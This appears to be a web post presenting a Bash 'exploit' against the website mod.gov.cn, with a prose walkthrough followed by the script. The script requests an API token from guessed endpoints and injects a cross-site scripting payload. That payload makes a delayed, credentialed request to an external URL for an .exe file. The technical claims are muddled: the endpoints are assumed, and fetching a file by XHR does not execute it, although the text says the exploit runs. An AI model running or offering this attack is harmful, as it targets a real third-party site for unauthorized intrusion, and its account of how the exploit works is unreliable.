Exploit For http://mod.gov.cn

Exploitation Of HTTP://MOD.GOV.CN

The Bash script aims to exploit the parent website ("mod.gov.cn") through the following steps:

   - The script uses hardcoded credentials (`USERNAME` and `PASSWORD`) to obtain an API token from the parent website via the `/api/getToken` endpoint, introducing a risk of unauthorized access.

   - The `constructAdvancedPayload` function creates a JavaScript payload. This payload includes a script that, after a 10-second delay, sends a GET request to an external exploit URL (`EXPLOIT_URL`). The payload is designed to be injected into the parent website.

   - The `sendDataWithTokenAndPayload` function sends the crafted payload and the obtained API token to the parent website's `/api/addData` endpoint, potentially injecting malicious code.

   - The injected payload, once on the parent website, triggers the execution of an external exploit by making a cross-origin XMLHttpRequest to the specified `EXPLOIT_URL`.

   - Upon successful execution of the exploit, a message is logged to the console, indicating that the exploit was executed successfully.

Exploitation Risks

   - The hardcoded credentials pose a risk of unauthorized access to sensitive information and functionalities on the parent website.

   - The crafted payload, when injected into the parent website, constitutes a Cross-Site Scripting (XSS) attack. This can manipulate user data, compromise sessions, and perform actions on behalf of users.

   - The script aims to fetch and execute an external exploit (`EXPLOIT_URL`). Depending on the nature of this exploit, it could lead to the distribution of malware or compromise user systems.

   - The exploit may compromise the integrity of data on the parent website by executing unauthorized actions. The lack of HTTPS communication exposes data in transit, risking confidentiality.

#!/bin/bash

BASE_URL="http://mod.gov.cn"
API_ENDPOINT="/api/getToken"
EXPLOIT_URL="http://example.com/exploit.exe"

getAPIToken() {
  local username="$1"
  local password="$2"
  curl --data "username=$username&password=$password" "$BASE_URL$API_ENDPOINT"
}

constructAdvancedPayload() {
  local payload="<script>"
  payload+="function executeExploit() {"
  payload+="  const xhr = new XMLHttpRequest();"
  payload+="  xhr.open('GET', '$EXPLOIT_URL', true);"
  payload+="  xhr.setRequestHeader('Content-Type', 'application/json');"
  payload+="  xhr.withCredentials = true;"
  payload+="  xhr.onreadystatechange = function() {"
  payload+="    if (xhr.readyState == 4 && xhr.status == 200) {"
  payload+="      console.log('Exploit executed successfully:', xhr.responseText);"
  payload+="    }"
  payload+="  };"
  payload+="  xhr.send();"
  payload+="}"
  payload+="setTimeout(executeExploit, 10000);"
  payload+="</script>"
  echo "$payload"
}

sendDataWithTokenAndPayload() {
  local APITOKEN="$1"
  local PAYLOAD="$2"
  curl --data "token=$APITOKEN&data=$PAYLOAD" "$BASE_URL/api/addData"
}

automateAPIScanAndExecuteTool() {
  USERNAME="myuser"
  PASSWORD="mypassword"
  APITOKEN=$(getAPIToken "$USERNAME" "$PASSWORD")
  ADVANCED_PAYLOAD=$(constructAdvancedPayload)
  sendDataWithTokenAndPayload "$APITOKEN" "$ADVANCED_PAYLOAD"
}

automateAPIScanAndExecuteTool

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